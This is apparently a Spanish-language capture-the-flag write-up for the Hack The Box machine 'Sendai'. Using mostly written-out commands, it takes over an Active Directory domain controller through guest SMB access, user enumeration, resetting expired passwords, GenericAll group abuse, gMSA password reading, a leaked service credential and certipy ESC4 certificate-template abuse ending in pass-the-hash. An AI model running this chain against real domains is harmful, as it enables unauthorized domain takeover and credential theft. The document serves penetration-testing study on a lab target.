Skip to content

Sendai HTB Write Up

image.png

1. Información del objetivo

IP de la máquina: 10.129.43.69

Dominio: sendai.vl

2. Reconocimiento inicial

2.1 Escaneo de puertos

sudo nmap -sS -p- -n -vvv -Pn --open 10.129.43.69 -oG allPorts

extractPorts allPorts

nmap -sCV -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,3389,5985,9389,49664,49667,62192,63375,63391,64023,64025,64042 10.129.43.69 -oN targeted

Y este es el resultado.

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-06 17:48:40Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after:  2026-08-18T12:30:05
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: DNS:dc.sendai.vl
| Not valid before: 2023-07-18T12:39:21
|_Not valid after:  2024-07-18T00:00:00
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_ssl-date: TLS randomness does not represent time
|_http-title: IIS Windows Server
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after:  2026-08-18T12:30:05
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after:  2026-08-18T12:30:05
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sendai.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.sendai.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.sendai.vl
| Not valid before: 2025-08-18T12:30:05
|_Not valid after:  2026-08-18T12:30:05
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: SENDAI
|   NetBIOS_Domain_Name: SENDAI
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: sendai.vl
|   DNS_Computer_Name: dc.sendai.vl
|   DNS_Tree_Name: sendai.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2025-09-06T17:49:35+00:00
|_ssl-date: 2025-09-06T17:50:15+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=dc.sendai.vl
| Not valid before: 2025-04-15T02:26:14
|_Not valid after:  2025-10-15T02:26:14
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
62192/tcp open  msrpc         Microsoft Windows RPC
63375/tcp open  msrpc         Microsoft Windows RPC
63391/tcp open  msrpc         Microsoft Windows RPC
64023/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
64025/tcp open  msrpc         Microsoft Windows RPC
64042/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-time: 
|   date: 2025-09-06T17:49:38
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

2.2 Enumeración de SMB

Si me pongo a enumerar el samba podemos ver que de forma anónimamente puedo logearme y ver que tenemos READ ONLY en el recurso sendai.

smbmap -H 10.129.43.69 -u guest -p ''

image.png

Para entrar a este recurso compartido lo he hecho de la siguiente manera.

smbclient \\\\10.129.43.69\\sendai -U guest

Aquí he conseguido 2 .txt pero no mucho mas. Por lo tanto he enumerado usuarios de esta manera.

2.3 Enumeración de usuarios válidos

netexec smb 10.129.43.69 -u guest -p '' --rid-brute | grep "SidTypeUser" | awk -F'\\\\' '{print $2}' | awk '{print $1}' | tee users.txt

Y tenemos estos usuarios.

Administrator
Guest
krbtgt
DC$
sqlsvc
websvc
Dorothy.Jones
Kerry.Robinson
Naomi.Gardner
Anthony.Smith
Susan.Harper
Stephen.Simpson
Marie.Gallagher
Kathleen.Kelly
Norman.Baxter
Jason.Brady
Elliot.Yates
Malcolm.Smith
Lisa.Williams
Ross.Sullivan
Clifford.Davey
Declan.Jenkins
Lawrence.Grant
Leslie.Johnson
Megan.Edwards
Thomas.Powell
mgtsvc$

Lo que se me ocurre con esta lista de usuarios es probar si uno de ellos tiene la contraseña caducada, por lo tanto voy a ejecutar el siguiente comando.

netexec smb 10.129.43.69 -u users.txt -p '' --continue-on-success

image.png

Y tenemos los usuarios Elliot.Yates y Thomas.Powell al cual podemos cambiar las contraseñas.

Así que voy a cambiarles la contraseña y usar Bloodhound con uno de los usuarios.

netexec smb 10.129.43.69 -u Elliot.Yates -p '' -M change-password -o NEWPASS=Astro@1234!

netexec smb 10.129.43.69 -u Elliot.Yates -p 'Astro@1234!'

3. BloodHound y movimiento lateral

Y ya tenemos un usuario el cual usaremos para montarnos el Bloodhound.

image.png

bloodhound-python -u Elliot.Yates -p'Astro@1234!' -c All --zip -ns 10.129.43.69 -d sendai.vl

Una vez en el Bloodhound podemos ver el siguiente path.

image.png

3.1 Abuso de permisos en grupos

Así que vamos a abusar del GenericAll hacia el grupo ADMSVC.

Con el siguiente comando hemos añadido el usuario Elliot al grupo ADMSVC.

net rpc group addmem "ADMSVC" "Elliot.Yates" -U "SENDAI"/"Elliot.Yates"%'Astro@1234!' -S "10.129.43.69"

3.2 Lectura de GMSA Password

Seguidamente si vemos los permisos que tiene el grupo este podemos ver que podemos abusar de un ReadGMSAPassword .

image.png

Para ello he usado el siguiente comando.

netexec ldap 10.129.43.69 -u Elliot.Yates -p'Astro@1234!' --gmsa

image.png

3.3 Acceso remoto con credenciales GMSA

Este usuario forma parte de la administración remota por lo tanto nos podemos conectar a la maquina y leer la flag en C:\flag.txt .

Get-ChildItem -Path HKLM:\SYSTEM\CurrentControlSet\services | Get-ItemProperty | Select-Object ImagePath

4. Enumeración de servicios locales

Enumerando los servicios podemos ver que hay un servicio HelpDesk corriendo con unas credenciales.

image.png

C:\WINDOWS\helpdesk.exe -u clifford.davey -p RFmoB2WplgE_3p -k netsvcs

5. Explotación de ADCS (Certipy)

Lo que se me ocurre hacer con estas credenciales es usar certipy para ver si hay algun certificado vulnerable.

5.1 Detección de plantillas vulnerables (ESC4)

certipy find -target sendai.vl -u 'clifford.davey' -p'RFmoB2WplgE_3p' -dc-ip 10.129.43.69 -vulnerable -stdout

En este caso tenemos ESC4. Para abusar he ejecutado los siguientes comandos.

5.2 Modificación de la plantilla de certificado

certipy template -u 'clifford.davey' -p 'RFmoB2WplgE_3p' -template SendaiComputer -dc-ip 10.129.43.69 -save-configuration SendaiComputer-original

certipy template -u 'clifford.davey' -p 'RFmoB2WplgE_3p' -template SendaiComputer -dc-ip 10.129.43.69 -write-default-configuration

certipy req -u 'clifford.davey' -p 'RFmoB2WplgE_3p' -target dc.sendai.vl -dc-ip 10.129.43.69 -template SendaiComputer -ca sendai-DC-CA -upn administrator@sendai.vl -sid S-1-5-21-3085872742-570972823-736764132-500

certipy auth -pfx administrator.pfx -dc-ip 10.129.234.66

Con estos comandos estamos creando un certificado ESC1 con el cual luego abusamos y suplantamos la identidad del Administrador.

Y con esto ya tendríamos el hash de Administrador.

5.5 Escalada final y control del DC

Con esto hacemos pass the hash y ya tendríamos el dc en nuestro control.

image.png

Autor: Astro